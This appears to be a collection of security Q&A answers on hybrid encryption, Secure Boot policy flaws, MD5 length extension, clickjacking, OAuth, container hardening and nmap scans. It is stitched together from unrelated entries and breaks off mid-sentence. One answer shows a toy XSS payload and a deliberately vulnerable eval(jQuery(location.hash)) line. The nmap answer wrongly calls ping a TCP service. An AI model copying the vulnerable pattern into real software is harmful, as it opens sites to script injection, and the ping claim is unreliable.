Authenticated LE Secure Connections pairing uses ECDH Passkey Entry OR preferably Numeric Comparison (both with P-256 ECDH as it is Secure Connections)


How does CryptoDefense ransomware encrypt large data with a (relatively) small RSA key?

Generally speaking, this is called hybrid encryption. When we need to encrypt a lot of data with RSA, well, we don't; not only would this be highly inefficient, but we also don't really know how a big chunk of data should be split into small messages to be individually encrypted with RSA: from a cryptographer's point of view, this is a non-trivial issue, which is already hard enough for block ciphers (for block ciphers, this problem results in modes of operation which are already a complex subject; with RSA things are just worse).

Instead, we generate a symmetric key K, encrypt K with RSA, and encrypt the bulk of the data with K, using an algorithm which is good at that, and that means symmetric encryption (e.g. AES in a suitable mode).

If the ransomware author knows his trade (which is to be hoped, because nothing is more irksome than being attacked by an incompetent), then he used hybrid encryption.


What are the potential consequences of the Windows 10 "Golden Key" attack to end users, in simple terms?

SecureBoot is a part of UEFI and other firmwares that can be used to verify signatures on the software that will be loaded at boot. This is usually a bootloader, but it can also be the OS itself.

On some implementations the user can "burn" a custom certificate for the firmware to use for validation. In other cases the certificates are preloaded by the manufacturer and only software signed by them can be used on the device.

Embedded devices like phones and tablets usually fall under the second category, where the user can't change the installed software except where allowed by the manufacturer (i.e., an OS update).

By breaking this lock, users would be allowed to install anything they want. This is usually called "jailbreaking" the device.

The problem with jailbreaking is that it also allows bad actors to compromise the device at a low level, which makes the threats more persistent and difficult to detect.

Different devices have had different methods for jailbreaking accross the years. In this case it was a snafu by Microsoft that allowed it. From the original write up (perhaps NSFW):

  [secure boot policy is] a file in a binary format that's embedded
  within an ASN.1 blob, that is signed. It's loaded by bootmgr REALLY
  early into the windows boot process. It must be signed by a
  certificate in db. It gets loaded from a UEFI variable in the
  secureboot namespace (therefore, it can only be touched by boot
  services). There's a couple .efis signed by MS that can provision such
  a policy, that is, set the UEFI variable with its contents being the
  policy.

This is a very clever and extensible scheme that was broken by an overlook during development:

  During the development of Windows 10 v1607 'Redstone', MS added a new
  type of secure boot policy. Namely, "supplemental" policies that are
  located in the EFIESP partition (rather than in a UEFI variable), and
  have their settings merged in, dependant on conditions (namely, that a
  certain "activation" policy is also in existance, and has been loaded
  in).
  [...] The "supplemental" policy contains new elements, for the merging
  conditions. These conditions are (well, at one time) unchecked by
  bootmgr when loading a legacy policy. And bootmgr of win10 v1511 and
  earlier certainly doesn't know about them. To those bootmgrs, it has
  just loaded in a perfectly valid, signed policy.

In other words, they have a signed policy that allows them to load unsigned binaries, presumably to allow for testing development versions without having to sign each one.

They accidentally shipped this policy in some devices, someone discovered it and published it, and it can now be loaded on any device.

The write-up goes into a lot more detail about how it works. The point is that this is a jailbreak exploit. For some it's good news, for others not so much.

Successfull exploitation requires admin rights or physical access.

@Bradley mentioned in the comments that "It makes it easier for malware that is already on your pc to take over the boot progress and completely overtake your pc". While true, it means the malware already had admin rights on the device, so the boot compromise is the least of your problems.

Microsoft has stated:

  The jailbreak technique described in the researchers’ report on August
  10 does not apply to desktop or enterprise PC systems. It requires
  physical access and administrator rights to ARM and RT devices and
  does not compromise encryption protections.

But that may have been an understatement. They released two patches: MS16-094 and MS16-100. The first one states:

  An attacker must have either administrative privileges or physical
  access to install a policy and bypass Secure Boot.

  This security update is rated Important for all supported editions of
  Windows 8.1, Windows RT 8.1, Windows Server 2012, Windows Server 2012
  R2, and Windows 10.
  [...]
  The security update addresses the vulnerability by blacklisting
  affected policies.

So it's either root or physical access, as mentioned before.

And it does affect desktops and servers (see comments discussion for speculation on why they might have said it didn't).

Also, the policy blacklisting was deemed insufficient: rolling back to an older bootmgr could still allow for the policy to be loaded (this is mentioned in the write up). The second patch also blacklists old boot managers to address that.

TL;DR: Patch your windows systems and don't worry too much about this. There are far worse issues.


Does encrypting the message protect it against length extension attacks

This does several things wrong.   First, as Rory mentions in the comments, Don't Roll Your Own.  Use HMAC, not an arbitrary hash function.   This will actually protect you against length extension attacks.

Second, you propose to encrypt your pseudo-MAC along with the message. Don't do this either.  This is called MAC-then-encrypt, and it leaves you potentially susceptible to attacks on the padding like the POODLE attack that just killed SSLv3.   The current standard is encrypt-then-MAC, and you need to include both the IV and the ciphertext of the message in the MAC to ensure that there can be no tampering.

So, you can either encrypt-then-MAC with HMAC, or better yet, just use an authenticated encryption mode that handles the implementation for you, like AES-GCM, and you don't have to worry about whether you've done it securely or not, because someone else has already handled those details for you.


At the annual IEEE Security & Privacy conference in 2011, White et al. presented some very involved research on reconstructing encrypted VoIP sessions. The image below shows the overall architecture of the authors' approach.

Although it works only for variable bitrate codecs (most common VoIP codecs are constant bitrate, e.g. G.711), the results are impressive. For details, have a look at the paper.

.


The weakness here the lack of Entropy in the password reset code.

I mean that you choose a random 6 digit number(338625), and try it against many users. So the attacker has to guess a reset code from 10^6 possibilities.At some point it may work.

Calculation: Since Facebook has a large user base and receives large number password reset requests say 10000 (10^4) in 3 minutes before they expire , which is comparable to 10^6.

The probability that this password rest code is valid against some user is 0.01 .

  Is making the reset code much bigger will help resolving the problem,
  or Facebook will need a new reset technology?

Facebook can simply fix it by increasing the entropy of password reset code.
This can be done easily by :

Having Alphabets( [A-Z|a-z]- 52),Digits( 0-9-10),Special characters(say 10 ) in the password reset code.
Having a good length of say 10 characters (Answer by Rоry McCune).

Calculation: For a reset code of length of 6,the attacker now have to guess a reset code among (52+10+10)^6 .

The probability that this reset code randomly chosen by attacker matches a valid password reset code among the above 10^4 is 0.000000071 or 7.1*10^-8. Instead of doing this, the attacker have better chances of guessing password itself and trying it against many users.

  How to defend from this attack, should I reset it again after I
  receive the reset message from the attacking process, or should I
  reset via mail?

I think efforts to secure against this attack should come from Facebook.

Since, users may not look in to the reset message/email as soon as it arrives. From user point of view all i can think is of enabling Two Factor Authentication.


How to secure data in a stolen raid disk?

If you are giving them both the thing to be protected and the means to access it, no, the encrypted disk is still vulnerable.

Typically you would handle this through separation of duties.  The person who has physical access to the machines would not also be given logon rights to the machines, nor would he be given access to any of the decryption keys.  For example, if we have a maintenance person replace a failed hard drive, he has to call the help desk to have the system re-imaged.  For a somewhat smaller shop, you might have one hardware guy with keys to the server cabinet, and a sys admin who has the root password and the encryption key, but no access to the server room.  You might not even let your sysadmin or DBAs have the database encryption keys - perhaps only your security officer would have that.

In case of emergency, you can keep a copy of the keys in a safe.  So at 02:30 AM when the SAN goes down, the sysadmin calls the security officer at home, the SO gives him the combination to the safe, and he gets the system back on line before the SO arrives at the office.  However, that sysadmin is obviously someone who now has a special responsibility, and he will be a suspect if that data later shows up on a crime web site.


The details of the differences were explained well on ServerFault

But the summary is this: TLSv1 is the successor to SSLv3. It was based on SSLv3 and includes several updates to the ciphers and key exchange. It also handles renegotiation extensions better.

TLSv1.0 could be considered SSLv3.1, and even appears to be identified that way in the handshake methods.


Keepass client on Android (reliable one)

I've been very happy with KeePassDroid and it does happily sync via dropbox on your android phone. Check out their blog http://blog.keepassdroid.com/2010/06/dropbox-and-keepassdroid.html

keepassdroid is very popular and open source so you are welcome to take a look through the source code. https://github.com/bpellin/keepassdroid

The main thing to keep in mind with keepass is make sure you have that keepass file protected with a strong password!


Is XSS possible with jQuery(location.hash)?

Patches 9521 and 11290 several years ago attempt to mitigate this issue, although does not claim to completely remove the possibility for XSS. I've been running in jQuery 2.x some of the exploits they claim still exist, but they don't seem to be working, so I can't definitely confirm and deny if the code you provided is enough to exploit.

For what it's worth, it's also possible for this exploit to happen if you do something with the jQuery object. Let's say you allowed customers to submit HTML, and a customer submitted the following:

alert('xss');

And for some crazy reason you had the following code on the page that displays this HTML:

eval(jQuery(window.location.hash).text());

A URL hash of #xss would cause an alert to trigger.

So I can confirm this is possible, although it'd be very difficult to exploit this particular way without writing the code specifically to be vulnerable.

I'd recommend doing a validation check on the value of window.location.hash or stripping out special characters before passing it in to jQuery(), and as always be thoughtful of what you do with the jQuery object.


Why do Browsers in their TLS1.3 Client Hello do not request for CCM ciphers?

They will be requested if the client supports them and if they are enabled. Like you mentioned, for example, OpenSSL does not enable them by default. They don't seem to provide any justificative other than it's "rarely used". But consider that most desktop CPUs support instructions for accelerating GCM, making it probably faster than CCM.


Why is monitor mode necessary on the NIC used to attack WPS with reaver and other tools?

Some of the options, such as Reaver's "ignore frame checksum errors" or Bully's "don't require ACKs" are technically violations of the WiFi spec, and can't be done by a device that's in managed mode.  Additionally, I suspect that being in monitor mode is required to see the beacon packets that 1) tell if the AP supports WPS, and 2) tell if the AP has temporarily locked WPS access.

In general, people developing tools such as Reaver or Bully want to maximize their control over the process, which means working in monitor mode.


Understanding GnuPG --export-options backup

What data is included in "all data which is needed to restore the key or keys later?"

It includes the key(s), user attributes, signatures (including local signatures), and ownertrust values. Everything required to completely restore the key(s) and trust database as they currently exist in your gnupg directory.

When the documentation says, "is basically the OpenPGP format but enhanced with GnuPG specific data," what enhancing data is it talking about?

Ownertrust data contained in the exported Trust packets. These are specific to GnuPG and not necessarily transferable to other implementations.
From RFC-4880:
5.10.  Trust Packet (Tag 12)

   The Trust packet is used only within keyrings and is not normally
   exported.  Trust packets contain data that record the user's
   specifications of which key holders are trustworthy introducers,
   along with other information that implementing software uses for
   trust information.  The format of Trust packets is defined by a given
   implementation.

   Trust packets SHOULD NOT be emitted to output streams that are
   transferred to other users, and they SHOULD be ignored on any input
   other than local keyring files.

In stating "other contradicting options are overridden," what contradicting options are being referred to?

Any options that would restrict what is exported. For example, export options no-export-local-sigs, no-export-attributes, export-clean, etc.


Building an info sec VM lab - safe to keep on my home network?

It sounds like you are trying to setup something of a cyber-range for learning. If this is the case you simply need to understand what risks are and are not being added to your network. Are you trying to make these systems available to the Internet as a whole ? If so, then you are adding very different risks than if they can only be accessed internally.

Likewise are you using this to test malware or play with botnets ? Systems for experimenting with these will have entirely different risks.

In any of these situations you are increasing the level of risk to your other home systems but if you are just setting up a cyber-range that cannot be accessed from the Internet it seems like it may be a reasonable risk for the amount of experience you will gain.

Your question doesn't have enough detail for anyone to really help you evaluate the risks but I think this also makes for a great learning experience for you too. What do you think of the risks and how would you learn to evaluate them. Evaluating risks is a big part of helping organizations with their security so maybe this is a great time to consider all aspects of what risks you are changing in your home network and also think about other things you can do to mitigate those risks. Maybe consider increasing the security of the other devices, backing up more often, and setup some type of network monitoring if you can. Again it depends on what your concerns are.

As a side note many security professionals do have two or more networks at home for this type thing and there are a lot of ways to do it. Likewise VM's can be very useful for creating cyber-ranges and cloud computing resources can be a helpful inexpensive solution for many types of tests (especially something like Amazon AWS where you can use a resource for just a few hours as needed).

My suggestion is if you're not dealing with malware or anything explicitly malicious go ahead and dive in. Some of the mistakes you will make will provide your best learning experiences and the faster you make those mistakes the quicker you'll learn their lessons.


Determine if a server is asking for a client certificate using openssl s_client

That behaviour is not part of TLS v1.2

But it doesn't explicitly state why the handshake has failed.

It can't. It's not defined as part of the (TLS v1.2) protocol.
When the server or client decides to abort a connection, they can choose from one out of several alert messages.
An Alert message looks like this:
struct {
      AlertLevel level;
      AlertDescription description;
} Alert;

AlertLevel is one byte wide and only has two states:
enum { warning(1), fatal(2), (255) } AlertLevel;

And AlertDescription is one byte wide as well. But out of the 256 possible reason codes only about 30 are assigned and used. And of these 30, there simply is none, that fits the "Hey, I told you I wanted a client certificate, why didn't you give me one?!?"-bill.
(And although it sounds like it might fit, no_certificate_RESERVED(41) was used for something else. Namely in SSLv3.0 it was used for the other direction: for the CLIENT to tell the server "Sorry, I can't give you a client certificate.")
Now for the deeper question "Wouldn't it make sense to define such a reason code if there are plenty unused code points left? Instead of just hard, largely unexplained failure?" my answer is simply: "I don't know."
I don't see how having such an alert could make the protocol weaker, but crypto is tricky, and I'm not sure.
Loadbalancer to give friendly error message
But what if you want to give a friendly error message?
AFAIK, then you must do somewhat complicated things with loadbalancer like logic and just initially allow the clientcert-less connection, but then immediately redirect to an error page. Apache can do such a thing with a rule similar to this:
RewriteCond %{SSL:SSL_CLIENT_VERIFY} !^SUCCESS$
RewriteRule .* /help/ssl-client-auth-required.html [L]

IIS defines a HTTP eror message called 403.7 Forbidden: Client Certificate Required. I think this is a smart move (better than just failing, at least), even though the .7 of 403.7 is non-standard and I think the error message belongs on the TLS layer and not the HTTP layer.


Securing a multi-tenant, multi-database REST API

You should look at oauth 2.0 (RFC 6749) it has a number of flows which could meet your requirements.

Firstly you need to know if the clients are public or confidential. Issuing client api keys as you are doing is pointless if the clients are web browsers or apps downloaded to mobile devices as the secret can't be maintained. If they are servers then api keys are good. So that is your first consideration. Section 2.1 of the rfc deals with client types and that will determine which flows are applicable.

You need to separate identification of the client service from the user the client is acting for. Your backend database should have association of users with tenants and possibly api keys with users or user+tenant if you want to scope to just a single tenancy. I've implemented services where users can participate in multiple tenants so that may or may not apply to your case.
I have successfully used the resource owner password credentials grant request so that a user can provide their username and password from a web browser. It sounds like you have used an out of band method to authorize the client so user credentials are not required. But if the client is a web browser or mobile app you can't rely on client auth and must get authorization from the user and that means providing user credentials.

Regardless of the flow you use you end up with a response as follows:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
    "access_token":"2YotnFZFEjr1zCsicMWpAA",
    "token_type":"example",
    "expires_in":3600,
    "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
    "example_parameter":"example_value"
}

The returned access token is what the client uses in its requests so that it can prove to the server its requests are authorized.

You have two options for the Authorization header, 'bearer' or 'mac'.

Authorization: Bearer xxxxxx

If your clients are using TLS then bearer tokens are the simple way forward. See section 7.1 of the RFC for more details.

Finally since access tokens are only temporary your clients can use the refresh token to request a new access token once the access token nears or exceeds its expiry.  Its up to you if you want to use refresh tokens or not. Clients will need to store them securely at least the same level of protection they use for their api keys. In your system refresh tokens may be unnecessary for server-server interactions if the access lifetime is sufficient and user authentication is not required. If user authentication is required then refresh tokens may be useful if the client storage provides a sufficient level of protection.


What parameters can be used to configure context-sensitive authorisation?

Context-sensative in this case just means that the context is take into account. It has nothing to do with location being a "sensative" or "secret" attribute.

There's a lot of potential contexts which can be used to aid in authorization.

Location and time are by far the most common.

E.X.

Is the request coming from the corporate network?
Is the user VPNed in?
What is the GPS location of the user?
Is this normal business hours?
How many of these requests have been made in the last N hours?

Context authorization usually also includes roles, which can be implemented using RBAC.


Is Using MD5 Sufficient Reason to Reject This Payment Processor?

This "tamper proof seal" is a homemade MAC, and not a good one.

That MD5 is "broken" has no bearing here. MD5 is broken for collisions and collisions do not have any impact on your situation. What could be a worry is length extension attacks. This is because MD5 is a Merkle-Damgård function. This means that when MD5 processes a message m, it does the following:

The message m is padded with a bit sequence p, which has length between 65 and 576 bits (inclusive), so that the total length of m||p is a multiple of 512. p depends on the length of m, but not on the contents of m.
The padded string m||p is split into 512-bit blocks.
MD5 processes each block in due sequence, using a 128-bit state which is the result of the processing of the previous block. The hash output is the output of the processing of the last block.

Now imagine that the attacker could see one of your "tamper proof seals". The seal is a hash of some m which the attacker does not know (it begins with your secret key). However, the attacker might make a good guess at the length of m. Thus, the attacker can compute p. Now, the attacker chooses a string m', arbitrarily. The "length extension attack" is that he can compute MD5(m||p||m') even without knowing m, because he knows the state of MD5 when it has processed m||p: that's exactly your "tamper proof seal" value. He can then use that as starting point for processing the blocks that m' consists in.

What may save you in your case are the two following points:

Even if the attacker can choose m' arbitrarily, he can only append, with the padding p in between. His goal is to compute a hash for a syntactically valid transaction. Depending on the actual encoding of the "amount" and "transaction type", the attacker may or may not design some m' such that m||p||m' still makes some sense on the server side.
The attacker must observer one "seal" value to begin with. Since they are transmitted with HTTPS, this might prove difficult for him.

Important note: the length extension attack would work exactly the same (modulo some endianness details in p) with SHA-256. This does not exploit a specific weakness of MD5.

The correct way to compute a MAC is HMAC. HMAC uses an underlying hash function like MD5 or SHA-256, but it does so "smartly", with two nested invocations, precisely to avoid problems such as the length extension attack.

As for your exact question: no, I don't think this is ground for refusing to do business with these people. After all, the MAC is not a "proof", despite its name. This is symmetric cryptography: to verify the seal, the server must know your secret value as well. Correspondingly, the server has the technical power to make "fake" seal values. In case of dispute between you and the credit card processor themselves, you could point that out: the seal cannot be used as a proof against you, during litigation.

This seal is what they require to authenticate you, so it is, basically, their responsibility. I suggest you leave their own problems to their hands. You may want to raise the issue as a courteous warning, though. Something along the lines of: "ya know, for a good seal, you'd better use a standard, NIST approve solution like HMAC/SHA-256, rather than a non-standard homegrown mechanism with MD5 (of dubious repute)". The known weaknesses of MD5 (as compared to SHA_256) don't have a practical impact on security in this specific case, but the name "MD5" and its bad press can still be effective as diplomatic leverage.


Why do browsers enforce the same-origin security policy on iframes?

Review: Same-origin policy
First, let's clarify that the behavior observed here (the iframe does not render) is much stricter than the default same-origin policy. If you already understand that, skip down to "What's actually happening," below.
To review, the same-origin policy prevents scripts from having programmatic access to the contents of cross-origin resources. Consider how the same-origin policy applies to various types of resources:

Images: An <img> tag will show a cross-origin image to a user visually, but it will not allow a script to read the image content when loaded into a <canvas> (i.e., toDataURL will fail if the canvas contains any cross-origin images)
Scripts: Cross-origin scripts will run when referenced in a <script> element, but the page can only run the script, not read its contents.
Iframe: Like images, the contents of a framed cross-origin page appear visually to the user, but scripts in the outer framing page are not allowed access to the framed page's contents.

The same-origin policy applies to iframes for the same reason it applies to all other types of resources: the web page being framed (or the image being displayed, or the resource being accessed via Ajax) is fetched using credentials from the resource's own origin (e.g., the HTTP request to fetch a resource from google.com includes my browser's cookies set for google.com). The page that issued the request should not be given read-access to a resource fetched with credentials from a different origin.
What's actually happening: X-Frame-Options
However, the behavior you see here is stricter than the same-origin policy: the framed page is not shown at all. The cross-origin server that hosts the (would-be) framed page requests this blocking behavior by sending an X-Frame-Options response header, which specifies how the page is allowed to be framed.

DENY The page cannot be displayed in a frame, regardless of the site attempting to do so.
SAMEORIGIN The page can only be displayed in a frame on the same origin as the page itself.
ALLOW-FROM uri The page can only be displayed in a frame on the specified origin.

Here, the site sends X-Frame-Options: SAMEORIGIN, which means the site can only be framed by pages with the same origin as the framed page.
From a security standpoint, this is done to prevent clickjacking (also called a "UI redress" attack). In a clickjacking attack, the page displays a click-activated component of another site inside an <iframe> and tricks the user into clicking it (usually by layering the the target component on top of an apparently-clickable feature of the framing site).
For a trivial example, a site might position a transparent <iframe> of http://security.stackexchange.com so that the "log out" link in the framed site was directly over top of a "Click here to claim your free money" button. When viewing the framing page, the user attempts to claim the free money, and suddenly finds himself logged out of Stack Exchange. When http://security.stackexchange.com sends an X-Frame-Options: SAMEORIGIN header, the malicious cross-origin page gets only an empty <iframe> instead; the user doesn't unwittingly click a log-out link because no content from the framed site made it onto the rendered page.
OWASP has a page detailing defenses against clickjacking.


What about fuzzy passwords? For "correct" entry within a margin of error?

A "fuzzy password system" is a system which accepts several distinct passwords as valid (all the variants over a base password). Correspondingly, it decreases the password strength, thus the security of the system (an attacker who tries possible passwords does not need to hit the exact password, an approximation would be enough). In a password-based system, the password is already the weakest point, so making it even weaker does not seem to be a very good idea.

Accepting the password to be "fuzzy" would be good if it convinced users to choose longer, more random passwords (since they don't have to remember it exactly, they can afford more complexity). However, I strongly doubt typical users would seize the occasion and select so much stronger passwords that it would more than compensate the decrease in security implied by the acceptance of passwords with small mistakes. I even doubt it would make users change their password selection habits at all.


Why do some websites tell you they use cookies?

The reason you see that message is Article 5(3) of Directive 2002/58/EC, as amended by Directive 2009/136/EC, according to which users have to give consent for the storing of information (read cookies) or retrieval of information already stored.

Some cookies are exempt from this rule, namely when the cookie

is needed for carrying your data over the network, or
required for the (requested) service to operate properly.

Or in legal jargon, when the cookie

is used for the sole purpose of carrying out the transmission of a communication over an electronic communications network, or
strictly necessary in order for the provider of an information society service explicitly requested by the subscriber or user to provide the service.

  Directive 2009/136/EC, Article 5(3): Member States shall ensure
  that the storing of information, or the gaining of access to
  information already stored, in the terminal equipment of a subscriber
  or user is only allowed on condition that the subscriber or user
  concerned has given his or her consent, having been provided with
  clear and comprehensive information, in accordance with Directive
  95/46/EC, inter alia, about the purposes of the processing. This shall
  not prevent any technical storage or access for the sole purpose of
  carrying out the transmission of a communication over an electronic
  communications network, or as strictly necessary in order for the
  provider of an information society service explicitly requested by the
  subscriber or user to provide the service.

  Directive 2002/58/EC, Article 5(3):
  Member States shall ensure that the use of electronic communications
  networks to store information or to gain access to information stored
  in the terminal equipment of a subscriber or user is only allowed on
  condition that the subscriber or user concerned is provided with clear
  and comprehensive information in accordance with Directive 95/46/EC,
  inter alia about the purposes of the processing, and is offered the
  right to refuse such processing by the data controller. This shall not
  prevent any technical storage or access for the sole purpose of
  carrying out or facilitating the transmission of a communication over
  an electronic communications network, or as strictly necessary in
  order to provide an information society service explicitly requested
  by the subscriber or user.

The interested reader can also take a look at the Opinion 04/2012 on Cookie Consent Exemption document.

Note that a directive is not a law. "A 'directive' is a legislative act that sets out a goal that all EU countries must achieve. However, it is up to the individual countries to devise their own laws on how to reach these goals."


No.
Relevant quote from the link:

HEAD
Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.

If you disabled it, you'd just increase your throughput cost. A person can get the same information with a GET, so if they were trying to do something malicious, they could just use a GET. Except, this way, they're being nice and not forcing you to send the request body.
EDIT: I don't know what the requests would be from, although I can certainly think of uses. Anyone else who knows or wants to chip in, please do so. I'm kinda curious, myself. Hence, community wiki.


By construction, bcrypt is its own function, and does not use a hash function like SHA-1 or SHA-256. You may be confusing it with PBKDF2.

Your requirement on "entropy" is, at best, severely misguided:

As long as your attackers cannot convert the whole mass of the complete friggin' Galaxy into energy to run some humongous computation, 256 bits of entropy are the Mother of all Overkill. For any practical situation which does not involve battling with hostile extraterrestrial entities, 128 bits are more than enough.
You won't get 256 bits of entropy or even 128 bits. You said "bcrypt": thus, you are processing a password. A password which can be chosen and remembered by a human being cannot reach that much entropy. For typical users, you can consider yourself lucky if you reach, say, 32 bits of entropy; most people cannot do even that. No matter what you do and how many hash functions you throw at it, you will never get more entropy on the output than you had to begin with, entropy being "what the attacker does not know", i.e. the password.

(The important point here is that entropy does not equate length.)

What you really want, here, is a password-processing function which extends a password into as many "key bits" as you need for whatever cryptographic purpose you envision. For instance, you want 256 bits because you do password-based encryption and need 128 bits for symmetric encryption itself, and 128 more bits for a MAC. This is done in two steps:

Hash the password with a password-hashing function which includes the features specific to password protection, which are ways to cope with the inherent weakness of passwords. Namely, salts and configurable slowness. Bcrypt is fine for that. See this answer for details.
Extend the password hash with a deterministic Key Derivation Function. If you just need 256 bits, then just hashing the password hash with SHA-256 is perfectly fine: SHA-256 works well as a KDF as long as you do not need more than 256 bits of output. For arbitrarily long outputs, you may need something a bit more complex; SSL/TLS's "pseudorandom function" is a thoroughly studied example.

Beware that typical bcrypt implementations output a string which encodes the 192-bit output but also the salt and other parameters; for key extension, you want to process only the 192-bit output.

PBKDF2 is a "password-based key derivation function" (hence the name) which combines both operations.


See sections 7.2 and 7.3 of the draft.

Each secret is used by a specific endpoint (client or server) at a specific moment of the exchange: so first the handshake secrets are used then the application ones, and keys are derived from the secrets.

So the server_handshake_traffic_secret is what the server side uses to exchange data during the handshake and client_handshake_traffic_secret is the exact equivalent from the client part.


How to prevent illegal connection to my router WiFi

I am suspecting that someone is illegally using my router WiFi.

While there might be someone doing this, nothing in your question provides any evidence. Note that it is not uncommon that users suspect hackers when strange behavior happens even if there are other and sometimes simpler explanations possible.

  Is there a software that can be installed on my computer (running Windows XP, and connected by a cable to the router) to identify the devices connected wirelessly to my router, which does not have the feature to list devices connected to it?

If your router does not provide such functionality no software can ask the router to provide these information. You could analyze your network though for suspicious activity, i.e. if systems connect to your computer which you don't expect to etc. What to do exactly here depends on what you suspect the hacker to do, which essentially boils down again to what makes you think that there is someone using your router in the first place.

"...running Windows XP..." - if the rest of your network is as secure as your long outdated and no longer supported operating system than it is not unlikely that somebody is misusing your network though.

  Or a way to prevent devices other than those in my home (laptops, cell phones, tablets) which are connected wirelessly to my router?

That's what you do exactly by following the recommendations in the questions+answers provided as duplicates to your previous questions, i.e. having a secure router (i.e. current firmware, no backdoors ...) and setting it up in a sane way (WPA2, strong passphrase, strong admin password, no access from outside ...).

And note that a strong WPA2 passphrase does not help if an insecure device is connected per cable to the router (or per WiFi but knows the password), like it seems to be the case with your Windows XP system. This is especially a problem if these insecure devices are used for administration of the router.


What are a JSON rest api's responsibilities to prevent XSS?

Its up to the data consumer to sanitize data so perhaps you supply a document of potential risks that come from using your API.

For example where does your API get its data? Are you sanitizing the data? Is that a risk the consumer might need to know and how would they mitigate the risk.


Is sending password to user email secure?

You should never send passwords in the clear, nor should you store them in the clear. You should hash them using a slow one-way cryptographic hash such as bcrypt or PBKDF2. If a user forgets their password, you offer them a "reset password" function, which sends a one-time reset link to their account.

A scheme such as the following is reasonable:

Hash all passwords using a salt plus bcrypt / PBKDF2. See my reasoning here. (EDIT, March 2019: use Argon2)
Validate the hashes upon login.
If a user forgets their password, send them a secure one-time reset link, using a randomly generated reset token stored in the database. The token must be unique and secret, so hash the token in the database and compare it when the link is used.
Enforce that a token can only be used to reset the password of the user who requested it.
Once the token is used, it must be deleted from the database and must not be allowed to be used again.
Have all password-equivilent tokens, including reset tokens, expire after a short time, e.g. 48 hours. This prevents an attacker exploiting unused tokens at a later date.
Immediately display a form to allow the user to set a new password. Do not use temporary random generated passwords!
Do all of this over SSL.

I highly suggest reading through The Definitive Guide to Forms-Based Website Authentication for a full set of guidelines on how to build secure login systems.


Which attacks are prevented by switching the user within the docker container, given a read-only root fs?

So running a non-root user inside the container (assuming you're not using user namespaces) could still be helpful. There have been some container security issues that required the container to run as root to be effective.
For example abstract shimmer needed to be uid 0 and have host networking to be effective.
Also the runc security issue from 2019 CVE-2019-5736 required the container being exploited to run as root, for the issue to be exploited.
The problem is that, even though docker (and other linux container runtimes) apply restrictions to the running process, being uid 0 can allow for security issues to occur.
Running read-only filesystems is another useful security mechanism and whilst it might make attackers lives harder, it doesn't cover exactly the same ground as using a non-root user inside the container. For example if an attacker can add their exploit to running memory without touching disk, then read only filesystems won't help.
Typically I'd recommend both of these as complementary hardening steps for containers. The other option (instead of using a non-root user inside containers) is using user namespaces, or run the entire docker daemon as a non-root user, which is now a supported option.


It is still quite common that credentials are transmitted in plain text over a secure communication channel (HTTPS). In case the communication channel is not encrypted we are talking about an entire different problem.

The key here is that the communication channel is encrypted with strong cipher suits. When performing a man in the middle attack (e.g. sniffing the connection), a certificate error is displayed on the client's browser.

  Is it important to encrypt the password send by login forums of websites and if yes how badly it can affect?

From my personal (attacker) perspective it doesn't really matter whether you transmit the plain text password or an encrypted or hashed version of the original password.

Once either one is obtained through a man in the middle attack, they can be replayed / re-used by an attacker.

However, one significant difference is that the server will never receive the plain text password when the second option in the diagram is used. Therefor it will not reside in memory.

In case TLS is stripped from a load balancer and requests are transmitted internally over HTTP this would be considered a better approach.

As you can see, it depends on what you consider a threat and what you are defending against.

Please note that a TLS should not be considered the "holy grail" and that defense in depth should be applied when ever possible.


You may not understand https, so I'd like to explain it a little bit.

What Happens With HTTPS?

Since it uses HTTPS, you generally don't have to worry about packet sniffing if it's properly implemented. With or without HTTPS, the program is not safe from packet sniffing (few things are).

Is that a problem? No. Why? Because with properly implemented crypto, when a malicious individual attempts to sniff your packets, the conversation will look like this:

Kalina sends: I love you!
Simon sees: I love you!
Rory McCune sees: abdLepdsdrf093423kl4rfdslDpr934szdl3790= (gibberish)

But What Happens If There's No HTTPS?

Without properly-implemented crypto, Rory will be able to discover what's being said. The conversation will look like this:

Kalina sends: I love you!
Simon sees: I love you!
Rory McCune sees: I love you!

Animation of Rory McCune's reaction after reading their messages

So, while it will not prevent packet sniffing when using properly-implemented HTTPS, it will prevent the attacker from understanding what you're talking about when they sniff the connection. Therefore, https should, generally speaking, protect your Buffalos from unauthorized Rorys.

Does that make sense? Check the github for this project. Keep in mind that client is all that's listed. I am unaware if they use a server end, but it doesn't look like it. Personally, I would be suspicious of such a program unless I had time to go through the entire code base.


How can an Subject only read and write to its owned objects?

I think this can be implemented using Capabilities. Every subject has a set of pairs (o,r) where o is the object and r are the rights. For example if Customer1 can read file1, and read-write on file2, you can have a Capability list like that:

Customer1={(file1,{read}),(file2,{read,write})}

If many Customers have the same rights you may use groups to limit the storage that is used to save this information.

But then you have to be sure that the subjects can not modify the Capability list.


Using a list of three-letter words with variable capitalization as a DiceWare dictionary

It only gives the cracker an advantage if you get very very unlucky with your dice rolls and end up with a phrase consisting of one word repeated 5 times. In which case, just roll again.

As @SmokeDispenser points out in the comments however, doing this will remove one of the main benefits of Diceware, which is that Diceware does not require you to memorize weird tricks and transformations in addition to the words. So you're hurting yourself with this method to some extent. If it's easy enough for you to memorize still, then go for it, but I'd personally prefer typing a few extra characters over memorizing weird capitalization or character substitution schemes.


You are probably perfectly right: Your firewall is "doing something". This is the role of a firewall. And possibly, one of the reasons to have a firewall might be to prevent port scans, by the way.

You have to ask yourself how nmap decides if a host is "there", "alive" or "up" or not. A naive idea often is to try and ping it, though ping is a specific TCP service which may be implemented and enabled or not and which may be filtered or not. So the rule of thumb here is: If you get a reply to a ping package, it is very likely that the host is up. If you don't get a reply, you simple did not gain a lot of information from that ping.

Having said that, in your examples, -sN (I guess this is what you meant as I think there is no option -sn in nmap) and -T4 -F are not contradicting scan methods, but in your second example, you are leaving it to nmap to decide how to scan, which means it will default to a SYN scan and fall back to a connect scan if it cannot perform a SYN scan. Note that the reason why it may not be able to perform a SYN scan may well be a problem with the client side, i.e. the permissions of the nmap process itself, not about the scan target.

From nmap.org:

  [The SNY scan] technique is often referred to as half-open scanning,
  because you don't open a full TCP connection. You send a SYN packet,
  as if you are going to open a real connection and then wait for a
  response. A SYN/ACK indicates the port is listening (open), while a
  RST (reset) is indicative of a non-listener. If no response is
  received after several retransmissions, the port is marked as
  filtered. The port is also marked filtered if an ICMP unreachable
